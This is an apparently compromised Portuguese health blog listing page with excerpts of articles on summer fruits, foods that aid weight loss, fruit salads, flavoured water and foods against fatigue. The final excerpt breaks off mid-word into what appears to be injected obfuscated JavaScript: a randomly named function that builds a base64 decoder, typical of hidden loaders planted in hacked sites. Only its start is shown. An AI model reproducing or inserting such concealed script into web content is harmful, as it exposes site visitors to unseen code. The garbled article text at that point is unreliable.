Os 7 melhores frutos para consumir no verão

Jun 21, 2019 | À descoberta, Dicas úteis

[mashshare]
Os 7 melhores frutos para consumir no verão   Consumir fruta da época é muito importante e o nosso organismo agradece. No artigo de hoje falo-lhe dos 7 melhores frutos para consumir no verão. É absolutamente importante que nesta estação quente nos preocupemos em...

10 alimentos que fazem bem à saúde

Fev 18, 2019 | Saúde e bem estar

[mashshare]
10 alimentos que fazem bem à saúde   A alimentação é uma parte importantíssima do nosso equilíbrio e é fundamental termos uma dieta variada. Quantas vezes é que já ouvimos a máxima “somos o que comemos”? Muitas! Porque é verdade! Existem inúmeras pesquisas...

Deliciosa salada de fruta, uma sobremesa saudável e pouco calórica

Ago 26, 2018 | Receitas

[mashshare]
Deliciosa salada de fruta, uma sobremesa saudável e pouco calórica   Como tão bem sabe, a fruta está cheia de benefícios comprovados. É portanto uma opção mais saudável do que outras sobremesas. Como muitas pessoas gostam de juntar vários frutos e fazer uma salada de...

10 alimentos que ajudam a emagrecer

Jun 19, 2018 | Saúde e bem estar

[mashshare]
10 alimentos que ajudam a emagrecer   Não é apenas uma questão estética, é uma questão de saúde. Com uma incidência cada vez maior da obesidade e das doenças que lhe estão associadas, torna-se fundamental inverter este ciclo e apostar em alimentos bons, nutritivos,...

Salada de melancia com hortelã e muffins de mirtilos

Jun 18, 2017 | Receitas

[mashshare]
Salada de melancia com hortelã e muffins de mirtilos     Hoje trago-lhe uma receita de uma salada fresca, saudável e deliciosa para o verão: salada de melancia com hortelã! E como o artigo que fiz sobre os mirtilos foi tão partilhado, ensino também a fazer muffins de...

Os melhores alimentos para os dias de calor

Jun 7, 2017 | Saúde e bem estar

[mashshare]
Os melhores alimentos para os dias de calor     Está quase a chegar o verão mas os dias de calor  já se fazem sentir. Além de ser absolutamente fundamental manter-se hidratado, o calor pede alimentos ricos em vitaminas e minerais. Por isso, hoje dou-lhe os melhores...

Águas aromatizadas para levar consigo para a praia

Mai 20, 2017 | Receitas, Saúde e bem estar

[mashshare]
Águas aromatizadas para levar consigo para à praia     Já lhe disse e volto a repetir: a água é um bem absolutamente essencial para o nosso organismo. No entanto muitas pessoas não bebem a quantidade necessária de água por dia… e muitas vezes simplesmente porque...

10 alimentos para combater a fadiga

Fev 20, 2017 | Dicas úteis

[mashshare]
10 alimentos para combater a fadiga   De certeza que sabe reconhecer o estado de fadiga. É qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...